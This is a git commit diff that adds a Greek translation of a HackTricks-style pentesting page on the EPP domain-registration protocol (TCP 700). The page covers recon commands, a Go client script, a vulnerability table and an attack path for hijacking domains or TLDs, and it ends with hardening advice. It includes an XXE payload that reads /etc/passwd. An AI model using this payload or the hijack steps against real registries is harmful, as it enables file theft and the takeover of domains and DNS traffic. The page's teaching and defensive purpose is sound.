Translated ['src/network-services-pentesting/700-pentesting-epp.md'] to

This commit is contained in:
Translator 2025-08-04 22:32:05 +00:00
parent 772d0c3c9f
commit e68df34cc0

View File

@ -4,12 +4,112 @@
## Basic Information
Το Extensible Provisioning Protocol (EPP) είναι ένα πρωτόκολλο δικτύου που χρησιμοποιείται για τη **διαχείριση ονομάτων τομέα και άλλων πόρων του διαδικτύου** από μητρώα και καταχωρητές ονομάτων τομέα. Διευκολύνει την αυτοματοποίηση των διαδικασιών καταχώρισης, ανανέωσης, μεταφοράς και διαγραφής ονομάτων τομέα, εξασφαλίζοντας ένα τυποποιημένο και ασφαλές πλαίσιο επικοινωνίας μεταξύ διαφορετικών οντοτήτων στο σύστημα ονομάτων τομέα (DNS). Το EPP έχει σχεδιαστεί για να είναι ευέλικτο και επεκτάσιμο, επιτρέποντας την προσθήκη νέων χαρακτηριστικών και εντολών καθώς εξελίσσονται οι ανάγκες της υποδομής του διαδικτύου.
Το Extensible Provisioning Protocol (EPP) είναι ένα πρωτόκολλο δικτύου που χρησιμοποιείται για τη **διαχείριση ονομάτων τομέα και άλλων πόρων του διαδικτύου** από μητρώα και καταχωρητές ονομάτων τομέα. Διευκολύνει την αυτοματοποίηση της διαδικασίας καταχώρησης, ανανέωσης, μεταφοράς και διαγραφής ονομάτων τομέα, εξασφαλίζοντας ένα τυποποιημένο και ασφαλές πλαίσιο επικοινωνίας μεταξύ διαφορετικών οντοτήτων στο σύστημα ονομάτων τομέα (DNS). Το EPP έχει σχεδιαστεί ώστε να είναι ευέλικτο και επεκτάσιμο, επιτρέποντας την προσθήκη νέων χαρακτηριστικών και εντολών καθώς οι ανάγκες της υποδομής του διαδικτύου εξελίσσονται.
Βασικά, είναι ένα από τα πρωτόκολλα που **ένας καταχωρητής TLD θα προσφέρει στους καταχωρητές ονομάτων τομέα** για να καταχωρίσουν νέους τομείς στο TLD.
Βασικά, είναι ένα από τα πρωτόκολλα που ένας **καταχωρητής TLD θα προσφέρει στους καταχωρητές ονομάτων τομέα** για να καταχωρήσουν νέα ονόματα τομέα στο TLD.
### Pentest
[**Σε αυτό το πολύ ενδιαφέρον άρθρο**](https://hackcompute.com/hacking-epp-servers/) μπορείτε να δείτε πώς ορισμένες έρευνες ασφαλείας βρήκαν ότι πολλές **υλοποιήσεις αυτού του πρωτοκόλλου** ήταν ευάλωτες σε XXE (XML External Entity), καθώς αυτό το πρωτόκολλο χρησιμοποιεί XML για την επικοινωνία, γεγονός που θα επέτρεπε στους επιτιθέμενους να αναλάβουν τον έλεγχο δεκάδων διαφορετικών TLDs.
---
## Enumeration & Recon
Οι διακομιστές EPP σχεδόν πάντα ακούνε σε TCP `700/tcp` μέσω TLS. Μια τυπική ανάπτυξη επιβάλλει επίσης **mutual-TLS (mTLS)**, έτσι ώστε ο πελάτης να πρέπει να παρουσιάσει ένα έγκυρο πιστοποιητικό που έχει εκδοθεί από την CA του μητρώου. Παρ' όλα αυτά, πολλές ιδιωτικές δοκιμαστικές ή προπαραγωγικές αναπτύξεις ξεχνούν αυτόν τον έλεγχο:
```bash
# Banner-grabbing / TLS inspection
nmap -p700 --script ssl-cert,ssl-enum-ciphers <target>
# Check if mTLS is *really* required (it frequently is not!)
openssl s_client -connect <target>:700 -quiet \
-servername epp.test 2>/dev/null | head
```
Αν ο διακομιστής δεν τερματίσει τη σύνδεση μετά την αλληλεπίδραση TLS, μπορείτε να προσπαθήσετε να στείλετε ένα μη αυθεντικοποιημένο `<hello/>` μήνυμα:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<epp xmlns="urn:ietf:params:xml:ns:epp-1.0">
<hello/>
</epp>
```
### Ανοιχτού κώδικα πελάτες χρήσιμοι για δοκιμές
* **epp-client (Go)** ενεργά συντηρούμενος, υποστηρίζει TCP/TLS και EPP-over-HTTPS (RFC 8730):
`go install github.com/domainr/epp/cmd/epp@latest`
* **gandi/go-epp** ελάχιστη βιβλιοθήκη πελάτη που μπορεί εύκολα να χρησιμοποιηθεί για fuzzing ή ροές εργασίας τύπου nuclei.
* **afq984/php-epp-client** υλοποίηση PHP που χρησιμοποιείται από πολλούς μικρούς καταχωρητές; ένας βολικός στόχος για ανασκόπηση κώδικα.
Παράδειγμα ελάχιστου script σύνδεσης+ελέγχου με Go epp-client:
```go
package main
import (
"github.com/domainr/epp"
"crypto/tls"
)
func main() {
cfg := &tls.Config{InsecureSkipVerify: true}
c, _ := epp.DialTLS("epp.test:700", cfg)
c.Login("CLIENT_ID", "PASSWORD", nil)
resp, _ := c.DomainCheck("example","com")
println(resp)
}
```
---
## Κοινές Αδυναμίες & Ευπάθειες 2023-2025
| Έτος | Συστατικό | CWE | Επιπτώσεις |
|------|-----------|-----|--------|
| 2023 | CoCCA Registry < 3.5 | CWE-611 XXE | Remote file read & SSRF μέσω κατασκευασμένου `<epp>` payload (patch: 2023-11-02) |
| 2024 | FRED EPP Server 2.x | CWE-322 Ανεπαρκής επικύρωση πιστοποιητικού TLS | Bypass του mTLS επέτρεψε μη εξουσιοδοτημένη είσοδο καταχωρητή |
| 2025 | Ιδιόκτητη κονσόλα καταχωρητή | CWE-306 Ελλιπής Αυθεντικοποίηση για Κρίσιμη Λειτουργία | Το endpoint έγκρισης μεταφοράς τομέα εκτέθηκε μέσω EPP-HTTP bridge |
### XXE / SSRF payload (λειτουργεί κατά πολλών υλοποιήσεων Java/Spring)
```xml
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<epp xmlns="urn:ietf:params:xml:ns:epp-1.0">
<command>
<check>
<domain:check xmlns:domain="urn:ietf:params:xml:ns:domain-1.0">
<domain:name>&xxe;</domain:name>
</domain:check>
</check>
</command>
</epp>
```
Όταν ο αναλυτής είναι κακώς ρυθμισμένος (`XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES=true`), το περιεχόμενο του αρχείου επιστρέφεται μέσα στη δομή `<resData>`.
### Άλλα τυπικά ευρήματα
1. **Αδύναμη πολιτική διαπιστευτηρίων** Οι κωδικοί πρόσβασης EPP είναι μικρότεροι από 8 χαρακτήρες; η βίαιη επίθεση είναι συχνά εφικτή επειδή η προδιαγραφή μόνο ΣΥΣΤΗΝΕΙ (όχι απαιτεί) περιορισμό ρυθμού.
2. **Απουσία κατάστασης `registryLock` / `serverUpdateProhibited`** μόλις αυθεντικοποιηθούν, οι επιτιθέμενοι μπορούν αμέσως να ενημερώσουν τα αρχεία NS και να κλέψουν την κίνηση.
3. **Μη υπογεγραμμένα μηνύματα ψηφοφορίας** ορισμένες υλοποιήσεις εξακολουθούν να μην υπογράφουν τα μηνύματα Q&A ψηφοφορίας, επιτρέποντας την παραποίηση/ψαρέμα των χειριστών μητρώου.
---
## Διαδρομή Επίθεσης: Από το Μηδέν στην Υφαρπαγή TLD
1. Ανακαλύψτε ένα EPP endpoint (συχνά κρυμμένο πίσω από έναν γενικό οικοδεσπότη όπως `ot&e.<tld>.nic.<cc>`).
2. Καταχρήστε μία από τις αδυναμίες παραπάνω για να αποκτήσετε διαπιστευτήρια επιπέδου μητρώου (XXE → SSRF σε IMDSv1, εξαγωγή διαπιστευτηρίων ή παράκαμψη TLS).
3. Εκδώστε αιτήματα `<update>` για να αλλάξετε τα αρχεία `hostObj` του τομέα σε διακομιστές ονομάτων που ελέγχονται από τον επιτιθέμενο.
4. (Προαιρετικά) Υποβάλετε ένα `<transfer>` για να μεταφέρετε τον τομέα σε έναν μητρώο που ελέγχεται από τον επιτιθέμενο πολλά μητρώα εξακολουθούν να βασίζονται σε έναν **μοναδικό κωδικό αυθεντικοποίησης**.
5. Κέρδος: πλήρης έλεγχος της ζώνης DNS, ικανότητα να ζητάτε πιστοποιητικά TLS μέσω ACME.
---
## Αμυντικά Μέτρα & Σκληραγώγηση
* Επιβάλετε **mTLS με πιστοποιητικά πελάτη ανά μητρώο** και κλειδώστε την CA του μητρώου.
* Ρυθμίστε `parserFeature secure-processing=true` ή ισοδύναμο για να σκοτώσετε το XXE.
* Εκτελέστε **συνεχή fuzzing** του αναλυτή XML (π.χ., με `go-fuzz` ή `jazzer` για Java).
* Αναπτύξτε καταστάσεις **Registry Lock / server*Prohibited** για τομείς υψηλής αξίας.
* Παρακολουθήστε την ουρά `poll` για ύποπτες εντολές `<transfer>` ή `<update>` και ειδοποιήστε σε πραγματικό χρόνο.
* Οι τροποποιήσεις της σύμβασης κατά της κακοποίησης DNS ICANN 2024 απαιτούν από τα μητρώα να αποδείξουν περιορισμούς ρυθμού και ελέγχους αυθεντικοποίησης εκμεταλλευτείτε τους.
## Αναφορές
* ICANN Security and Stability Advisory Committee (SSAC). "SAC118: Consequences of Registry Operator Failure to Implement EPP Security Controls". 2024.
* HackCompute "Hacking EPP servers: abusing XXE to hijack TLDs" (2023).
{{#include ../banners/hacktricks-training.md}}